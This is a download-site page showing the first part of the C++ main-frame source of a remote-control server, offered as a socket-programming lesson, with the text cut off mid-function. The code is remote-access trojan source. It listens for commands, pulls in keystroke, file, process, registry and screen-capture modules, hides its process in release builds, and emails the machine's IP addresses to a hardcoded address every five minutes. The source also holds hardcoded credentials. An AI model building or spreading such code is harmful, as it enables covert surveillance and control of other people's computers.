⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainfrm.cpp

📁 简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.
💻 CPP
📖 第 1 页 / 共 2 页
字号:
// MainFrm.cpp : implementation of the CMainFrame class
//
#include "jpeglib\\basic.H"

#include "stdafx.h"
#include "Ctrl_Srvr9.h"
#include "Def_Cmd_ID.h"
#include "MainFrm.h"
#include "winbase.h"
#include <wchar.h>
#include <winbase.h>
#include <winuser.h>
#include <string.h>
#include "SendKey.H"
#include "GetScreenToBitmap.h"
#include "Cmd_fn.H"
#include "JpegFile.H"
#include "SendKey.H"
#include ".\\Bo_Files\\Pushkey.h"
#include ".\\Bo_Files\\key.h"
#include ".\\Bo_Files\\Func_Bo.h"
#include ".\\Bo_Files\\Cmd_System.h"
#include ".\\Bo_Files\\NetShare.h"
#include ".\\Bo_Files\\Cmd_Process.h"
#include ".\\Bo_Files\\Cmd_File.h"
#include ".\\Bo_Files\\Cmd_Registry.h"
#include ".\\Bo_Files\\Cmd_GetScreen.h"
#include ".\\Bo_Files\\Cmd_Mouse.h"
#include "WSocket.h"


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CCtrl_SrvrApp theApp;
void CALLBACK Listen(SOCKET s, int ServerPort, const char *ClientIP);
/////////////////////////////////////////////////////////////////////////////
// CMainFrame
IMPLEMENT_DYNAMIC(CMainFrame, CMDIFrameWnd)

BEGIN_MESSAGE_MAP(CMainFrame, CMDIFrameWnd)
	//{{AFX_MSG_MAP(CMainFrame)
	ON_WM_CREATE()
	ON_WM_TIMER()
	//}}AFX_MSG_MAP
	ON_MESSAGE (WM_HOTKEY, OnHotKey)
END_MESSAGE_MAP()

static UINT indicators[] =
{
	ID_SEPARATOR,           // status line indicator
	ID_INDICATOR_CAPS,
	ID_INDICATOR_NUM,
	ID_INDICATOR_SCRL,
};

/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction

CMainFrame::CMainFrame()
{
	// TODO: add member initialization code here
	m_pChildWnd = NULL;
/*
	char * strRegText[8] = {"ZICTJADM",
		                      "TRUE",
							  "zictjm.com",
							  "junyuan.liang@zictjm.com",
							  "junyuan.liang@zictjm.com",
							  "<<NULL>>",
	                          "ljy",
	                          "ljy123"};

*/
	m_strPassword = _T("123456");
    m_strBody = _T("<<NULL>>");
	m_strFrom = _T("junyuan.liang@zictjm.com");
	m_strServer = _T("zictjm.com");
    m_strSubject = _T("");
	m_strTo = _T("junyuan.liang@zictjm.com");
	m_strPW = _T("TRUE");
	m_strUser = _T("ljy");
	m_bServer = FALSE;
	m_bAutoMail = TRUE;
//    m_lpBmpData = NULL;
//	m_hBmpData = NULL;
//	m_pSocket = NULL;
	m_lpSend = NULL;
    m_bSendStringMsg = TRUE;  

	for (int i = 0; i < 10; i++)
	   m_strOldHostIP[i] = _T("");

}

CMainFrame::~CMainFrame()
{
}

int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
	if (CMDIFrameWnd::OnCreate(lpCreateStruct) == -1)
		return -1;
	
	if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
		| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
		!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
	{
		TRACE0("Failed to create toolbar\n");
		return -1;      // fail to create
	}

	if (!m_wndStatusBar.Create(this) ||
		!m_wndStatusBar.SetIndicators(indicators,
		  sizeof(indicators)/sizeof(UINT)))
	{
		TRACE0("Failed to create status bar\n");
		return -1;      // fail to create
	}

	// TODO: Delete these three lines if you don't want the toolbar to
	//  be dockable
	m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);
	EnableDocking(CBRS_ALIGN_ANY);
	DockControlBar(&m_wndToolBar);

	m_pChildWnd = new CChildFrame;
	if (!m_pChildWnd->Create(_T("Child"),
			WS_CHILD | WS_VISIBLE | WS_OVERLAPPEDWINDOW | WS_MAXIMIZE, 
			rectDefault, this))
		return -1;
//设置热键
	BOOL bRC = RegisterHotKey (m_hWnd,1011,MOD_CONTROL | MOD_ALT,'p');
	bRC = RegisterHotKey (m_hWnd,1012,MOD_CONTROL | MOD_ALT,'P');

//取系统设置
	GetRegConfig();   //Get config
//启动E-mail
	if (m_bAutoMail == TRUE){    //Setup Email
       SendEmail();
       SetTimer(WM_SENDEMAIL,300000, NULL);
    }
//启动监听
	if(m_wskServer.CreateServer(SOCKET_PORT, SOMAXCONN))
	{
		m_bServer = m_wskServer.StartServer(Listen);
	}
#if defined(_DEBUG)
	if(!m_bServer)
	{
		CString info;
		info.Format("启动服务失败:%d", m_wskServer.err);
		AfxMessageBox(info);
	}
#endif
//隐藏程序
#if !defined(_DEBUG)
   HideProc(true);
#endif
   return 0;
}

BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
	if( !CMDIFrameWnd::PreCreateWindow(cs) )
		return FALSE;
	// TODO: Modify the Window class or styles here by modifying
	//  the CREATESTRUCT cs

	return TRUE;
}

/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics

#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
	CMDIFrameWnd::AssertValid();
}

void CMainFrame::Dump(CDumpContext& dc) const
{
	CMDIFrameWnd::Dump(dc);
}

#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers

LRESULT CMainFrame::OnHotKey (WPARAM wParam, LPARAM lParam)
{
	if (wParam == 1011 || wParam == 1012)
	{
		if (IsWindowVisible ())
			ShowWindow (SW_HIDE);
		else
		{
			ShowWindow (SW_SHOW);
			SetForegroundWindow ();
		}
	}
	return (FALSE);
}

BOOL CMainFrame::DestroyWindow() 
{
	// TODO: Add your specialized code here and/or call the base class
	
	UnregisterHotKey (m_hWnd,1011);
	UnregisterHotKey (m_hWnd,1012);


	CString temp;
	if (temp.LoadString(IDS_SERVERSHUTDOWN))
		m_strState = temp;

	m_bServer = !m_wskServer.StopServer();
#ifdef _DEBUG
	if(m_bServer)
	{
		CString info;
		info.Format("停止服务失败:%d", m_wskServer.err);
		AfxMessageBox(info);
	}
#endif
	KillDynamicLibraries ();
	KillTimer(WM_SENDEMAIL);
	return CMDIFrameWnd::DestroyWindow();
}

void CMainFrame::Msg_Display(CString strMsg)
{
	m_pChildWnd->m_strMsgList.AddTail (strMsg);
}

void CMainFrame::SendStringMsg(CString strMsg)
{
	if (m_lpSend == NULL) return;

    SENDMSG tagSendMsg;
	CString info;
	LPCTSTR lpText;
//    int nLen;
//Step 1: send struct
	if (strMsg.GetLength() <= 0) return;

	memset((char *)&tagSendMsg, 0, sizeof(SENDMSG));
	tagSendMsg.wCmd = CMD_STATE_INFO;
	tagSendMsg.dwFileSize = strMsg.GetLength();
	if (m_lpSend->SendData((char *)&tagSendMsg, sizeof(SENDMSG), 60) < 0)
	    goto Err01;   
//Step 2: confirm
/*	memset((char  *)&tagSendMsg, 0,sizeof(SENDMSG));
	if (ReadSafe(m_lpSend, (char *)&tagSendMsg, sizeof(SENDMSG)) < 0)
	    goto ErrorSendString002;   
	if (tagSendMsg.iErrorCode < 0 ) return ;
*/
//Step 3: send msg
	//memset((char *)&tagSendMsg, 0, sizeof(SENDMSG));
	lpText = (LPCTSTR)strMsg;
	if (m_lpSend->SendData(lpText, strMsg.GetLength(), 60) < 0)
	    goto Err01;   

//Step 4: confirm
/*	memset((char  *)&tagSendMsg, 0,sizeof(SENDMSG));
	if (ReadSafe(m_lpSend, (char *)&tagSendMsg, sizeof(SENDMSG)) < 0)
	    goto Err01;   
*/
	return ;
    
Err01:
		m_lpSend->Close();
        m_lpSend = NULL;
	    info.Format("断开 socket=0x%X, Error in send CMD_STATE_INFO", *m_lpSend);
	    Msg_Display(info);
}

void CMainFrame::MsgBox(CString strMsg)
{
  AfxBeginThread(ThreadMsgBox,(LPVOID)(LPCTSTR)strMsg);
}

UINT CMainFrame::ThreadMsgBox(LPVOID pParam)
{
    AfxMessageBox((LPCTSTR)pParam);
	return 1;
}
LPSTR CMainFrame::GetIPAddr()
{
    char svBuffer[MAX_COMPUTERNAME_LENGTH];
	DWORD dwBufSize;
	LPHOSTENT lpHostEnt; 
    LPSTR szIPAddr; 

	dwBufSize = MAX_COMPUTERNAME_LENGTH+1;
	if(!GetComputerName(svBuffer, &dwBufSize)) 
		return NULL;

    lpHostEnt = gethostbyname(svBuffer); 

    szIPAddr = inet_ntoa(*(LPIN_ADDR) * (lpHostEnt->h_addr_list)); 

return szIPAddr;
}

void CMainFrame::OnTimer(UINT nIDEvent) 
{
	// TODO: Add your message handler code here and/or call default

//    if (nIDEvent == WM_SENDEMAIL && m_strEMailEnabled == "ENABLE")
    if (nIDEvent == WM_SENDEMAIL)
	{
		if (SendEmail() == TRUE) 
		{
           KillTimer(WM_SENDEMAIL);
           SetTimer(WM_SENDEMAIL,300000, NULL);
		}
	 }//Ontime
	CMDIFrameWnd::OnTimer(nIDEvent);
}

void CMainFrame::GetRegConfig()
{
	char * strRegName[8] = {"Password",
		                    "EmailEnabled",
							 "EmailServer",
							 "EmailTo",
							 "EmailFrom",
							 "EmailText",
							 "EmailUser",
							 "EmailPW"};

    HKEY	hKey = HKEY_CURRENT_CONFIG;
    HKEY	hSubKey;
	long	lRC;
	char	svBuffer[256];
	DWORD	dwSize;
    CString strAutoEmail;
    lRC = RegOpenKeyEx(hKey, "PeSrvr", 0, 
					KEY_READ | KEY_WRITE, &hSubKey) ;
    if (lRC != ERROR_SUCCESS) return;
    
	for (int i = 0 ; i < 8 ; i++)
	{
	     dwSize = 256;
	     if (RegQueryValueEx(hSubKey, strRegName[i], NULL, NULL, 
			(BYTE *)svBuffer, &dwSize) == ERROR_SUCCESS)
		 {
		 switch(i)
		 {
		 case 0: m_strPassword = svBuffer;
			     break;
		 case 1: strAutoEmail = _T("TRUE");
		         if(strAutoEmail != svBuffer) m_bAutoMail = FALSE;
				 break;
         case 2: m_strServer = svBuffer;
			     break;
		 case 3: m_strTo = svBuffer;
			     break;
		 case 4: m_strFrom = svBuffer;
			     break;
         case 5: m_strBody = svBuffer;
			     break;
         case 6: m_strUser = svBuffer;
			     break;
         case 7: //m_strPW = svBuffer;
			     m_strPW = _T("123456");
			     break;
		 }//end switch
		 }//end if
	}//end for
	RegCloseKey(hSubKey);
}

//隐藏程式
typedef DWORD (WINAPI* SERVICEPROC)(DWORD, DWORD);
BOOL WINAPI CMainFrame::HideProc(int mode) 
{ 

HMODULE DLLInst=LoadLibrary("KERNEL32.DLL"); 
if(DLLInst == NULL) return FALSE;
 
  SERVICEPROC RegisterServiceProcess;
  RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))GetProcAddress(DLLInst,"RegisterServiceProcess"); 
  if(RegisterServiceProcess) 
  { 
   RegisterServiceProcess(GetCurrentProcessId(),(DWORD)mode); 
   FreeLibrary(DLLInst);
   return TRUE; 
  } 
  FreeLibrary(DLLInst);

  return FALSE; 
}

BOOL CMainFrame::SendEmail()
{
    if (m_bAutoMail == FALSE) return TRUE;
	char szHostName[128];
     const char* pszAddr;
     struct hostent * pHost;    
     int i,j; 
     CString strSaveIP[10];
	 CString strIP;
	 BOOL bFound;

//取计算机名称
     if(gethostname(szHostName, 128) != 0 ) return FALSE;
     strIP = szHostName;
     pHost = gethostbyname(szHostName); 
//比较所有IP
     for( i = 0; i < 10 && pHost!= NULL && 
		   pHost->h_addr_list[i]!= NULL; i++ )     
	   {   //对每一个IP地址进行处理
        pszAddr=inet_ntoa (*(struct in_addr *)pHost->h_addr_list[i]);
		strSaveIP[i] = pszAddr;
		strIP = strIP + "//" + pszAddr;
		bFound = TRUE;
        for (j = 0; j < 10; j++)
		{
         if (m_strOldHostIP[j] == pszAddr) 
			 bFound = FALSE;
		}//end for
	   }//end for
//发送新的IP地址
	if (bFound == TRUE) 
		{
		    for (i = 0; i < 10 ; i++) 
			   m_strOldHostIP[i] = strSaveIP[i];
            CSMTP smtp(m_strServer);
			CMailMessage msg;
			msg.m_sFrom = m_strFrom;
			msg.AddMultipleRecipients(m_strTo);
			msg.m_sSubject = "V2-IP: "+ strIP;
			msg.m_sBody = m_strBody;
			smtp.m_sUser = m_strUser;
		   if (smtp.Connect() == TRUE)  //Send & Save
			{ 
				if (smtp.SendMessage(&msg))
				{
				 smtp.Disconnect();
                 Msg_Display(msg.m_sSubject);  //Show OK 
				 return TRUE;
				}//end if
				 smtp.Disconnect();
		   }//end if
        Msg_Display(smtp.GetLastError());   //Show Error
		}//end if
//	}//Had hostname
return FALSE;
}

inline int ReadSafe(CWSocket *lpWSK,  char * lpData, int nSize)
{
/*	int nLen, nRet;

    nLen=nSize;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -